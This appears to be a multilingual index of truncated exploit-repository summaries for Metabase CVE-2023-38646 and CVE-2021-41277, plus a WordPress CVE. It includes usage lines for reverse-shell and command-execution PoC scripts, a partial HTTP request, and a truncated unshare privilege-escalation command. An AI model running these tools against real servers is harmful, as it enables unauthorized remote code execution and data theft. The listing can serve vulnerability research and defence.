CVE-2023-38646

Metabase Pre Authentication RCE CVE-2023-38646 Hemos proporcionado dos archivos:- CVE-2023-38646-POC.py para comprobar si alguna instancia de Metabase está filtrando el setup-token. CVE-2023-38646-Reverse-Shell.py para obtener una reverse shell en la máquina controlada por el atacante...

POC_Metabase_CVE-2023-38646

Solo con fines educativos Inspirado en la investigación de Assetnote CVE: CVE-2023-38646 CVSS: 9.8 Enlace del proveedor: clic Versión vulnerable Metabase Enterprise 1.46 Solo probado en ParrotOS Resultado...

PoC-Metabase-CVE-2021-41277

Este repositorio no tiene un README...

Metabase_CVE-2021-41277

MetabaseCVE-2021-41277 Description Metabase is an open source data analytics platform. In affected versions a security issue has been discovered with the custom GeoJSON map admin-settings-maps-custom maps-add a map support and potential local file inclusion including environment variables. URLs...

CVE-2022-21661

CVE-2022-21661 CVE-2022-21661 docker y poc Es necesario reemplazar el functions.php de la imagen original con este functions.php; se monta directamente en docker-compose.yml. poc root@kitploit: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: your-ip:8080 User-Agent: Mozilla/5.0 Windows NT 10.0; Win6...

CVE-2023-38646

CVE-2023-38646 Herramientas automáticas para el exploit RCE de Metabase conocido como CVE-2023-38646. Lee https://secry.me/explore/news/metabase-rce-cve-2023-38646/ para más información POC, Dork Cómo usar single.py root@kitploit: python3 single.py --url=http://127.0.0.1:8080 --command="curl...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script escrito en Python que permite la explotación de la falla de seguridad del software Metabase descrita en CVE-2023-38646. El sistema es vulnerable en versiones anteriores a la 0.46.6.1 , en la edición de código abierto, y anteriores a la...

Exploit-CVE-2023-38646-Metabase

Exploit CVE-2023-38646 Metabase anterior a 0.46.6.1 código abierto y anterior a 1.46.6.1 Enterprise Exploit para la vulnerabilidad de ejecución remota de código RCE identificada en las versiones de Metabase anteriores a 0.46.6.1 código abierto y 1.46.6.1 Enterprise. La vulnerabilidad permite a lo...

CVE-2026-59827

CVE-2026-59827 — Deserialización insegura de resultados de consultas H2 en Metabase GHSA-w95f-x9v9-wv36 | CVSS 9.9 Crítico | CWE-502: Deserialización de datos no confiables Resumen CVE-2026-59827 es una vulnerabilidad crítica de ejecución remota de código en Metabase, la popular plataforma de...

CVE-2023-38646

Metabase 预认证 RCE CVE-2023-38646 POC 这是一个Python脚本，利用Metabase登录软件的远程代码执行漏洞。它允许我们在认证之前，在服务器上执行任意命令。 受影响版本：Metabase开源版 0.46.6.1 之前，以及 Metabase Enterprise 1.46.6.1 之前。 用法 root@kitploit: python3 exploit.py -u URL -t TOKEN -c COMMAND 参数 root@kitploit: -h, --help 显示此帮助信息并退出 -u URL, --url URL 目标URL -t...

CVE-2023-38646

CVE-2023-38646 Metabase RCE sin autenticación 26/11/2023 Metabase open source anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, al nivel de privilegio del servidor. No se requiere autenticación para la explotación...

CVE-2021-41277

CVE-2021-41277 MetaBase 任意文件读取漏洞 fofa批量poc 声明 本poc仅用于检测目标是否存在漏洞，严禁用于任何非授权测试，作者不负任何责任。 使用说明 在fofa.txt中填入fofa普通会员账号的email和key，如果是高级会员或者企业会员的话，在python程序中修改对应的可查询数据量 直接运行即可...

CVE-2021-41277

CVE-2021-41277 simple program for exploit metabase install gem install httparty gem install colorize gem install timeout ruby CVE.rb...

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase RCE pre-autenticación Metabase de código abierto anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, con el nivel de privilegios del servidor. No se requiere autenticación para la explotació...

cve-2023-38646-poc

Metabase Pre Authentication RCE CVE-2023-38646 CVE-2023-38646是Metabase中的一个远程代码执行漏洞。该漏洞源于Metabase在处理未经身份验证的API端点/api/setup/validate时，对JDBC连接字符串的处理存在安全缺陷。攻击者可以通过构造特定的JDBC连接字符串，利用该端点在服务器上执行任意命令，而无需进行身份验证。...

CVE-2023-38646

CVE-2023-38646 - Metabase RCE Metabase de código abierto anterior a 0.46.6.1 y Metabase Enterprise anterior a 1.46.6.1 permiten a los atacantes ejecutar comandos arbitrarios en el servidor, con el nivel de privilegios del servidor. No se requiere autenticación para la explotación. Las otras...

CVE-2023-38646

Metabase Pre-Auth RCE POC - CVE-2023-38646 Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server. I have written the script directly to gain reverse shell on the attacker's machine. Usage The script require the...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...

CVE-2023-38646-Poc

CVE-2023-38646-Poc uso python check.py ip port Versión vulnerable root@kitploit: Metabase Enterprise 1.46 1.46.6.1 Metabase Enterprise 1.45 1.45.4.1 Metabase Enterprise 1.44 1.44.7.1 Metabase Enterprise 1.43 1.43.7.2 Metabase open source 0.46 0.46.6.1 Metabase open source 0.45 v0.45.4.1 Metabase...

METABASE-RCE-CVE-2023-38646-

METABASE-RCE-CVE-2023-38646- Para obtener el usuario root de la máquina o sistema según la información anterior, este comando y archivo accederán al usuario root. Puedes ejecutar este comando directamente o ejecutar como archivo y ejecutarlo. Comando: $unshare -rm sh -c "mkdir l u w m && cp /u/b/...